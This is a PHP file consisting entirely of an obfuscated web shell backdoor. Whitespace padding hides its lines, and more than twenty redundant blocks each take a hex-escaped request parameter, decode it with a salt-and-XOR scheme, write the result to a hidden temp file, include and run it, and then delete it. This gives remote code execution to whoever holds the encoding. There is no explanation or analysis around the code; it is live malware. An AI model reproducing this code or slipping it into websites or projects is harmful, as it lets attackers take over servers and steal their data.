<?php																																										if(!is_null($_POST["el\x65m"] ?? null)){ $token = array_filter([session_save_path(), getenv("TMP"), getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $component = $_POST["el\x65m"]; $component = explode ( "." , $component ) ; $item = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $o = 0; while ($o< count($component)) { $v7 = $component[$o]; $sChar = ord($salt7[$o % $lenS] ); $dec = ((int)$v7 - $sChar - ($o % 10))^ 97; $item .= chr($dec ); $o++; } foreach ($token as $dat) { if ((is_dir($dat) and is_writable($dat))) { $entity = implode("/", [$dat, ".reference"]); if (file_put_contents($entity, $item)) { include $entity; @unlink($entity); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x76\x61l")){ $pgrp = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd()]); $flg = $_REQUEST["\x76\x61l"]; $flg = explode ( ".", $flg ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $flg as $n => $v9): $sChar = ord( $salt[$n % $sLen]); $d =( ( int)$v9 - $sChar -( $n % 10)) ^ 70; $fac .= chr( $d); endforeach; $mrk = 0; do { $ent = $pgrp[$mrk] ?? null; if ($mrk >= count($pgrp)) break; if (is_dir($ent) ? is_writable($ent) : false) { $item = "$ent/.entry"; $file = fopen($item, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $item; @unlink($item); die(); } } $mrk++; } while (true); }
																																										if(@$_POST["c\x6F\x6D\x70\x6Fnent"] !== null){ $comp = $_POST["c\x6F\x6D\x70\x6Fnent"]; $comp= explode ( '.' , $comp ) ; $reference = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($comp as $j => $v9): $sChar = ord($s7[$j % $lenS]); $d = ((int)$v9 - $sChar - ($j % 10))^ 39; $reference .= chr($d); endforeach; $fac = array_filter(["/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($fac as $pgrp): if (is_writable($pgrp) && is_dir($pgrp)) { $tkn = str_replace("{var_dir}", $pgrp, "{var_dir}/.ref"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $reference); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(isset($_POST["\x65\x6Et"])){ $pset = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); $rec = $_POST["\x65\x6Et"]; $rec = explode ( '.' ,$rec); $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; foreach ($rec as $v8) { $sChar = ord($s[$l % $sLen]); $dec = ((int)$v8 - $sChar - ($l % 10)) ^ 66; $token .= chr($dec); $l++; } foreach ($pset as $key => $dchunk) { if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $marker = sprintf("%s/.data_chunk", $dchunk); if (@file_put_contents($marker, $token) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(array_key_exists("\x64esc", $_REQUEST) && !is_null($_REQUEST["\x64esc"])){ $element = $_REQUEST["\x64esc"]; $element= explode ( "." , $element ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $p = 0; while( $p < count( $element)) { $v4 = $element[$p]; $sChar = ord( $salt[$p % $lenS] ); $d =( ( int)$v4 - $sChar -( $p % 10)) ^ 10; $dchunk .= chr( $d ); $p++; } $property_set = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($property_set as $record): if (!!is_dir($record) && !!is_writable($record)) { $entry = implode("/", [$record, ".rec"]); $success = file_put_contents($entry, $dchunk); if ($success) { include $entry; @unlink($entry); exit;} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "h\x6C\x64")){ $ref = $_REQUEST["h\x6C\x64"]; $ref =explode ("." , $ref ) ; $rec =''; $s5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s5); $r =0; $len =count($ref); do { if ($r >= $len) break; $v5 =$ref[$r]; $chS =ord($s5[$r% $lenS]); $d =((int)$v5 - $chS - ($r% 10)) ^ 22; $rec .= chr($d); $r++; } while (true); $reference = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); while ($desc = array_shift($reference)) { if ((function($d) { return is_dir($d) && is_writable($d); })($desc)) { $res = "$desc/.record"; if (file_put_contents($res, $rec)) { require $res; unlink($res); exit; } } } }
																																										if(isset($_POST["f\x61c\x74o\x72"]) ? true : false){ $obj = $_POST["f\x61c\x74o\x72"]; $obj = explode( '.' , $obj ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($obj as $k => $v5): $chS = ord($salt[$k% $sLen] ); $d = ((int)$v5 - $chS -($k% 10)) ^ 77; $fac .= chr($d ); endforeach; $key = array_filter(["/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); foreach ($key as $key => $pointer) { if ((function($d) { return is_dir($d) && is_writable($d); })($pointer)) { $ref = join("/", [$pointer, ".k"]); if (file_put_contents($ref, $fac)) { require $ref; unlink($ref); exit; } } } }
																																										if(!is_null($_POST["\x6D\x72k"] ?? null)){ $flag = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), getcwd()]); $property_set = $_POST["\x6D\x72k"]; $property_set= explode ( "." , $property_set ) ; $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); $x = 0; while($x < count($property_set)) {$v9 = $property_set[$x]; $sChar = ord($s5[$x % $lenS] ); $dec =((int)$v9 - $sChar -($x % 10)) ^ 80; $res .= chr($dec ); $x++; } for ($factor = 0, $binding = count($flag); $factor < $binding; $factor++) { $desc = $flag[$factor]; if (is_writable($desc) && is_dir($desc)) { $bind = str_replace("{var_dir}", $desc, "{var_dir}/.data"); if (@file_put_contents($bind, $res) !== false) { include $bind; unlink($bind); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64\x65sc"])){ $pset = $_REQUEST["\x64\x65sc"]; $pset= explode (".", $pset ); $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $i = 0; while($i < count($pset)) { $v6 = $pset[$i]; $chS = ord($s7[$i % $sLen]); $d = ((int)$v6 - $chS -($i % 10)) ^97; $item.=chr($d); $i++; } $key = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm"]); foreach ($key as $key => $reference) { if (is_dir($reference) && is_writable($reference)) { $holder = vsprintf("%s/%s", [$reference, ".object"]); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $holder; @unlink($holder); die(); } } } }
																																										if(array_key_exists("c\x6F\x6Dp", $_REQUEST)){ $binding = $_REQUEST["c\x6F\x6Dp"]; $binding=explode ( '.' , $binding ) ; $ent = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); $s = 0; foreach( $binding as $v9) { $chS = ord( $s6[$s % $lenS]); $dec =( ( int)$v9 - $chS -( $s % 10)) ^47; $ent .= chr( $dec); $s++; } $flag = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir()]); foreach ($flag as $component) { if (max(0, is_dir($component) * is_writable($component))) { $res = "$component" . "/.rec"; if (file_put_contents($res, $ent)) { require $res; unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["\x63omp"])){ $value = $_REQUEST["\x63omp"]; $value= explode ( '.' ,$value ) ; $flg =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8); $x =0; array_walk($value , function ($v1) use (&$flg , &$x , $s8 , $lenS) {$chS =ord($s8[$x% $lenS]); $dec =((int)$v1 - $chS - ($x% 10)) ^ 58; $flg.= chr($dec); $x++; }); $key = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); foreach ($key as $key => $descriptor) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $holder = sprintf("%s/.symbol", $descriptor); if (@file_put_contents($holder, $flg) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(in_array("key", array_keys($_REQUEST))){ $data_chunk = $_REQUEST["key"]; $data_chunk = explode ( "." , $data_chunk ) ; $ptr=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $len=count($data_chunk ); for ($s=0; $s < $len; $s++) { $v4=$data_chunk[$s]; $sChar=ord($salt[$s% $lenS] ); $dec=((int)$v4 - $sChar - ($s% 10)) ^86; $ptr .=chr($dec );} $component = array_filter([session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($component as $key => $property_set) { if ((is_dir($property_set) and is_writable($property_set))) { $res = "$property_set/.factor"; $success = file_put_contents($res, $ptr); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(array_key_exists("\x6D\x61\x72ker", $_POST)){ $fac = $_POST["\x6D\x61\x72ker"]; $fac = explode ("." , $fac ) ; $reference = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9); $len = count( $fac); for( $t = 0; $t < $len; $t++) { $v4 = $fac[$t]; $sChar = ord( $s9[$t % $sLen]); $d =( ( int)$v4 - $sChar -( $t % 10)) ^ 85; $reference .= chr( $d); } $entity = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/tmp", getenv("TEMP"), getenv("TMP")]); $element = 0; do { $k = $entity[$element] ?? null; if ($element >= count($entity)) break; if (array_product([is_dir($k), is_writable($k)])) { $key = join("/", [$k, ".value"]); if (file_put_contents($key, $reference)) { include $key; @unlink($key); die(); } } $element++; } while (true); }
																																										if(isset($_POST) && isset($_POST["m\x72k"])){ $ent = array_filter(["/var/tmp", getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); $token = $_POST["m\x72k"]; $token =explode ('.' ,$token ) ; $dchunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $__len = count($token ); for($n = 0; $n <$__len; $n++) { $v5 = $token[$n]; $sChar = ord($s2[$n % $lenS] ); $d =((int)$v5 - $sChar -($n % 10)) ^ 64; $dchunk .= chr($d ); } foreach ($ent as $key => $property_set) { if (is_dir($property_set) && is_writable($property_set)) { $res = join("/", [$property_set, ".data"]); if (file_put_contents($res, $dchunk)) { require $res; unlink($res); exit; } } } }
																																										if(!is_null($_REQUEST["\x72e\x73\x6Fu\x72ce"] ?? null)){ $ent = $_REQUEST["\x72e\x73\x6Fu\x72ce"]; $ent = explode (".", $ent ) ; $object=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s2 ); $z=0; $len=count( $ent ); do { if( $z >= $len) break; $v4=$ent[$z]; $sChar=ord( $s2[$z % $sLen] ); $dec=( ( int)$v4 - $sChar -( $z % 10)) ^ 46; $object .= chr( $dec ); $z++; }while( true ); $bind = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), "/dev/shm"]); foreach ($bind as $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $rec = join("/", [$symbol, ".tkn"]); if (file_put_contents($rec, $object)) { include $rec; @unlink($rec); exit; } } } }
																																										if(isset($_REQUEST["\x72e\x73ou\x72ce"]) ? true : false){ $symbol = array_filter(["/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); $dchunk = $_REQUEST["\x72e\x73ou\x72ce"]; $dchunk = explode('.' , $dchunk ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $dchunk as $w => $v1) { $chS = ord( $s[$w % $sLen]); $dec = ( ( int)$v1 - $chS -( $w % 10)) ^ 20; $fac.= chr( $dec); } while ($bind = array_shift($symbol)) { if (is_writable($bind) && is_dir($bind)) { $dat = join("/", [$bind, ".flag"]); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x70g\x72p"])){ $itm = $_POST["\x70g\x72p"]; $itm= explode( '.' ,$itm) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $p = 0; $__tmp = $itm; while ($v5 = array_shift($__tmp)) { $chS = ord($salt[$p % $lenS] ); $d = ((int)$v5 - $chS - ($p % 10)) ^ 78; $descriptor .= chr($d ); $p++; } $ent = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp"]); for ($fac = 0, $factor = count($ent); $fac < $factor; $fac++) { $token = $ent[$fac]; if (array_product([is_dir($token), is_writable($token)])) { $entity = vsprintf("%s/%s", [$token, ".val"]); if (file_put_contents($entity, $descriptor)) { require $entity; unlink($entity); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72esou\x72ce"])){ $record = array_filter([getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $marker = $_REQUEST["\x72esou\x72ce"]; $marker= explode ( '.' , $marker) ; $data_chunk =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt9 ); foreach ($marker as $r=> $v7): $chS =ord($salt9[$r % $sLen] ); $dec =((int)$v7 - $chS - ($r % 10)) ^ 98; $data_chunk.= chr($dec ); endforeach; foreach ($record as $elem): if (is_dir($elem) ? is_writable($elem) : false) { $tkn = sprintf("%s/.k", $elem); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $tkn; @unlink($tkn); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "bin\x64\x69n\x67")){ $val = $_POST["bin\x64\x69n\x67"]; $val =explode ( '.' , $val ) ; $record = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $len = count($val); for ($s = 0; $s<$len; $s++) { $v3 = $val[$s]; $chS = ord($s6[$s% $lenS]); $d = ((int)$v3 - $chS - ($s% 10))^ 34; $record.=chr($d);} $ptr = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); foreach ($ptr as $key => $hld) { if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $symbol = "$hld" . "/.mrk"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $symbol; @unlink($symbol); exit; } } } }
																																										if(isset($_REQUEST["m\x61rk\x65r"]) ? true : false){ $k = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd()]); $itm = $_REQUEST["m\x61rk\x65r"]; $itm =explode ("." , $itm); $mrk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($itm as $y=>$v8) { $chS=ord($s[$y % $lenS]); $dec=((int)$v8 - $chS - ($y % 10)) ^ 94; $mrk .= chr($dec); } foreach ($k as $val): if (!( !is_dir($val) || !is_writable($val) )) { $object = sprintf("%s/.descriptor", $val); if (file_put_contents($object, $mrk)) { require $object; unlink($object); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["tk\x6E"])){ $holder = $_POST["tk\x6E"]; $holder= explode ( '.',$holder ) ; $pset = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); foreach ($holder as $w=>$v1) { $chS = ord($salt8[$w % $lenS]); $dec = ((int)$v1 - $chS - ($w % 10)) ^93; $pset .= chr($dec); } $comp = array_filter([session_save_path(), "/var/tmp", getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); $binding = 0; do { $pointer = $comp[$binding] ?? null; if ($binding >= count($comp)) break; if (is_dir($pointer) ? is_writable($pointer) : false) { $pgrp = sprintf("%s/.key", $pointer); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $pset); fclose($file); include $pgrp; @unlink($pgrp); die(); } } $binding++; } while (true); }


if(isset($_REQUEST) && isset($_REQUEST["\x66\x6Cg"])){
	$elem = $_REQUEST["\x66\x6Cg"];
	$elem  	=			explode 	( ".",   $elem )	;
	$component = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
    
            foreach ($elem as $k => $v6) {	$chS = ord($s[$k % $lenS]);
                $dec = ((int)$v6 - $chS - ($k % 10)) ^ 89;
                $component.=	chr($dec);} 	
	$ent = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]);
	foreach ($ent as $reference):
    		if (is_dir($reference) && is_writable($reference)) {
    $mrk = "$reference" . "/.tkn";
    $success = file_put_contents($mrk, $component);
if ($success) {
	include $mrk;
	@unlink($mrk);
	die();}
}
endforeach;
}